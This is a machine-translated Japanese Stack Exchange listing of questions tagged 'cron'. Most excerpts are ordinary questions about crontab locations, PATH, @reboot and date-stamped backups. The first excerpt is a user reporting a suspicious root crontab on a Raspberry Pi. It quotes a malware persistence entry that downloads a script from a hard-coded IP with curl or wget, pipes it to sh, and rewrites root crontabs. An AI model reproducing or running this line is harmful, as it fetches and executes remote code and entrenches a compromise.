タグ付けされた質問 「cron」

Cronは、ユーザーが定期的にコマンドを実行できるジョブスケジューラです。

2
15分ごとに「xribfa4」を実行する疑わしいcrontabエントリ
Raspberry Piのルートcrontabファイルに何かを追加したかったのですが、Googleでその一部を検索しても疑わしいエントリが見つかりませんでした。 crontabエントリ: */15 * * * * (/usr/bin/xribfa4||/usr/libexec/xribfa4||/usr/local/bin/xribfa4||/tmp/xribfa4||curl -m180 -fsSL http://103.219.112.66:8000/i.sh||wget -q -T180 -O- http://103.219.112.66:8000/i.sh) | sh 内容は次のhttp://103.219.112.66:8000/i.shとおりです。 export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin mkdir -p /var/spool/cron/crontabs echo "" > /var/spool/cron/root echo "*/15 * * * * (/usr/bin/xribfa4||/usr/libexec/xribfa4||/usr/local/bin/xribfa4||/tmp/xribfa4||curl -fsSL -m180 http://103.219.112.66:8000/i.sh||wget -q -T180 -O- http://103.219.112.66:8000/i.sh) | sh" >> /var/spool/cron/root cp -f /var/spool/cron/root /var/spool/cron/crontabs/root …
59 security  cron  malware 

2
crontabファイルの場所
他の多くの(ほとんど?)他の人と同じように、私はcrontabを編集しますcrontab -e。ここでは、増分バックアップ、ntpdate、さまざまなrsync操作などのすべてのルーチン操作を保持します。私が理解したことから、新規インストールまたは新規ユーザーで、ファイルが存在しない場合は自動的に作成されます。ただし、このファイルを別のユーザーにコピーしたいので、編集している実際のファイルはどこにありますか? これがディストリビューション間で異なる場合、Centos5とMint 17を使用しています
53 cron  filenames 

8
cronは、「。bashrc」および「.bash_profile」で定義された変数を無視します
/ etc / crontabファイルに「SHELL」変数を定義しました: [martin@martin ~]$ grep SHELL /etc/crontab SHELL=/usr/local/bin/bash [martin@martin ~]$ file /usr/local/bin/bash /usr/local/bin/bash: ELF 32-bit LSB executable, Intel 80386, version 1 (FreeBSD), dynamically linked (uses shared libs), for FreeBSD 8.0 (800107), stripped [martin@martin ~]$ さらに、/ etc / crontabファイル内のすべてのスクリプトは、ユーザー「martin」の下で開始されます。ただし、/ home / martin / .bash_profile(ログインシェル用)および/home/martin/.bashrc(非ロギングシェル用)には、cronジョブの場合は無視されますが、マシンにログインする場合に使用される変数が含まれていますSSHまたは新しいbashセッションを開きます。cronがこれらの変数を無視するのはなぜですか?cronは、ユーザー「martin」のアクセス許可で「/ usr / local / bin …
49 bash  cron 

3
起動/起動中にスクリプトを実行します。init.d対cron @reboot
現在、システムの起動/起動時にスクリプトを実行するためのinit.dcronとcron の違いを理解しようとし@rebootています。 使用@reboot(このメソッドはで言及されたこのフォーラムによるhs.chandraは)単純に行くことによって、いくつかの何が簡単ですcrontab -eし、作成し@reboot /some_directory/to_your/script/your_script.txtた後、your_script.txtシステムが再起動されるたびに実行されなければなりません。詳細な説明@rebootはこちら または、スクリプトの2行目に埋め込むこと/etc/init.d/your_script.txtにより、次のようにします。 #!/bin/bash # /etc/init.d/your_script.txt 実行することもできますが、システムが起動するたびに実行されるchmod +x /etc/init.d/your_script.txtことにもなりyour_script.txtます。 Q1: 2つの主な違いは何ですか?Q2:どちらがより堅牢ですか?Q3: 2つのうち、より良いものはありますか?Q4:これは、起動中に実行するスクリプトを埋め込む正しい方法ですか? 起動時に実行するbash .shファイルを組み込みます。


4
cronに1日おきにコマンドを実行するように指示する方法(奇数/偶数)
次のように、「Day of Month」フィールドを使用して1日おきにコマンドを実行するようにcronを構成する場合: 1 22 */2 * * COMMAND 月の日が奇数であるたびに実行されます:1,3,5,7,9など。 cronを2,6,8,10などのように毎月実行するように構成するにはどうすればよいですか(文字通り指定せずに、毎月の日数が異なるため問題になります)?
45 cron 


15
時間の経過とともにタイムラグを累積することなく、非常に短い間隔で正確にunixコマンドを実行します
質問 長期間にわたって正確に毎秒UNIXコマンドを実行できるようにしたいと思います。 コマンド自体が実行に必要な時間のため、一定の時間後に遅れないソリューションが必要です。sleep、watch、および特定のpythonスクリプトはすべてこの点で私を失敗させました。 http://Arduino.ccなどのマイクロコントローラでは、ハードウェアクロック割り込みを介してそれを行います。同様の時間精度のシェルスクリプトソリューションがあるかどうかを知りたいです。StackExchange.com内で見つけたすべてのソリューションでは、数時間以上実行すると、顕著なタイムラグが生じました。以下の詳細を参照してください。 実用目的/アプリケーション nc1秒ごとに(netcat)を介してタイムスタンプを送信することにより、ネットワーク接続が継続的にアップしているかどうかをテストしたいと思います。 送信者: precise-timestamp-generator | tee netcat-sender.txt | nc $receiver $port レシーバー: nc -l -p $port > netcat-receiver.txt 完了したら、2つのログを比較します。 diff netcat-sender.txt netcat-receiver.txt 差分は未送信のタイムスタンプになります。これにより、LAN / WAN / ISPがいつトラブルを起こすかがわかります。 ソリューションスリープ while [ true ]; do date "+%Y-%m-%d %H:%M:%S" ; sleep 1; done | tee timelog-sleep.txt ループ内のコマンドにも少し時間がかかるため、時間の経過とともに特定のオフセットを取得します。 精度 cat …
38 cron  real-time 

5
Cronスクリプトでシステムの日付/時刻を使用する
サーバーにあるMySQLデータベースをバックアップするCronjobを設定していますが、同じファイルを何度も上書きし続けたくありません。代わりに、自動的に行われる一連のバックアップを選択する必要があります。例えば: ## Cronjob, run May 21st, 2011: mysqldump -u username -ppasword database > /path/to/file/21-03-2011.sql ## SAME Conjob, run May 28th, 2011: mysqldump -u username -ppasword database > /path/to/file/28-03-2011.sql 等々。 Cronjobでシステムの日付や時刻を何らかの変数として使用できる方法はありますか?そうでない場合、同じことを達成するための提案は何ですか?
37 bash  terminal  cron 

1
CentOSのCrontabログの場所
まず、CentOSを使用しています [root@a etc]# cat system-release CentOS release 6.5 (Final) [root@a cron.daily]# ps -ef | grep cron root 982 1 0 Jun14 ? 00:01:15 crond root 5692 5441 0 00:49 pts/0 00:00:00 grep cron [root@a cron.daily]# そして、私はリソースを使い果たしているので、古いログファイルを削除したいと思います。この場合、サイズがほぼ100MBを超える古い安全なログを削除したいので、rootユーザーに以下のcrontabエントリを与えました。。 [root@a etc]# crontab -l 0 1 * * * find /var/log -name "secure-*" -mtime …
37 centos  cron  logs  etc 

1
構築するデータベースの検索とキューを有効にするにはどうすればよいですか?
新しいUbuntu 10.4インスタンスでlocate、エラーを受け取るためだけにコマンドを使用しようとしました locate: can not stat () `/var/lib/mlocate/mlocate.db': No such file or directory 他のシステムでこのコマンドを使用することから、これはデータベースがまだ構築されていないことを意味していると思います(新規インストールです)。毎日実行することになっていると思いますが、すぐに実行するにはどうすればキューに入れることができますか? また、「毎日実行」はどのように決定されますか?一度に1時間だけオンにするボックスがある場合、データベースはそれ自体で構築されますか?


2
cronのPATHはどこに設定されていますか?
Cronは、crontabを持つユーザーのパスを使用せず、代わりに独自のパスを持ちます。PATH=/foo/barcrontabの先頭に追加することで簡単に変更でき、古典的な回避策は、cronによって実行されるコマンドへの絶対パスを常に使用することですが、cronのデフォルトPATHはどこで定義されていますか? 私はArchシステム(cronie 1.5.1-1)で次の内容のcrontabを作成し、Ubuntu 16.04.3 LTSボックスでも同じ結果をテストしました: $ crontab -l * * * * * echo "$PATH" > /home/terdon/fff 印刷されたもの: $ cat fff /usr/bin:/bin しかし、なぜ?デフォルトのシステム全体のパスはに設定され/etc/profileていますが、他のディレクトリが含まれています。 $ grep PATH= /etc/profile PATH="/usr/local/sbin:/usr/local/bin:/usr/bin" /etc/environmentまたは/etc/profile.dに関連するものは他にありません。私が考えた他のファイルは、おそらくcronによって読み取られる可能性があります。 $ grep PATH= /etc/profile.d/* /etc/environment /etc/profile.d/jre.sh:export PATH=${PATH}:/usr/lib/jvm/default/bin /etc/profile.d/mozilla-common.sh:export MOZ_PLUGIN_PATH="/usr/lib/mozilla/plugins" /etc/profile.d/perlbin.sh:[ -d /usr/bin/site_perl ] && PATH=$PATH:/usr/bin/site_perl /etc/profile.d/perlbin.sh:[ -d /usr/lib/perl5/site_perl/bin ] && PATH=$PATH:/usr/lib/perl5/site_perl/bin …
34 cron  path 

12
cronでnotify-sendを使用する
KDE / Awesome WMでArch Linuxを使用しています。notify-send一緒に仕事をしようとし ていcronます。 DISPLAY/ XAUTHORITY変数を設定notify-sendし、「sudo -u」で実行しようとしましたが、すべて結果はありませんでした。 セッションからnotify-sendをインタラクティブに呼び出して通知を受け取ることができます。 FWIW、cronジョブは正常に実行されていますが、一時ファイルに内容をエコーし​​て確認しました。動作に失敗するのは「通知送信」だけです。 コード: [matrix@morpheus ~]$ crontab -l * * * * * /home/matrix/scripts/notify.sh [matrix@morpheus ~]$ cat /home/matrix/scripts/notify.sh #!/bin/bash export DISPLAY=127.0.0.1:0.0 export XAUTHORITY=/home/matrix/.Xauthority echo "testing cron" >/tmp/crontest sudo -u matrix /usr/bin/notify-send "hello" echo "now tested notify-send" >>/tmp/crontest [matrix@morpheus ~]$ cat /tmp/crontest testing …

6
/etc/cron.dでCrontabが実行されない
Debian Jessieで私がしたことは次のとおりです。 を介してcronをインストールする apt-get install cron backup_crontabファイルを入れる/etc/cron.d/ ただし、タスクは実行されません。 出力は次のとおりです。 /# crontab -l no crontab for root /# cd /etc/cron.d && ls backup_crontab /etc/cron.d# cat backup_crontab 0,15,30,45 * * * * /backup.sh >/dev/null 2>&1 特定のcrontabをアクティブにするために、またはcronの「サービス」自体をアクティブにするために何かすることはありますか?
32 debian  cron 

弊社のサイトを使用することにより、あなたは弊社のクッキーポリシーおよびプライバシーポリシーを読み、理解したものとみなされます。
Licensed under cc by-sa 3.0 with attribution required.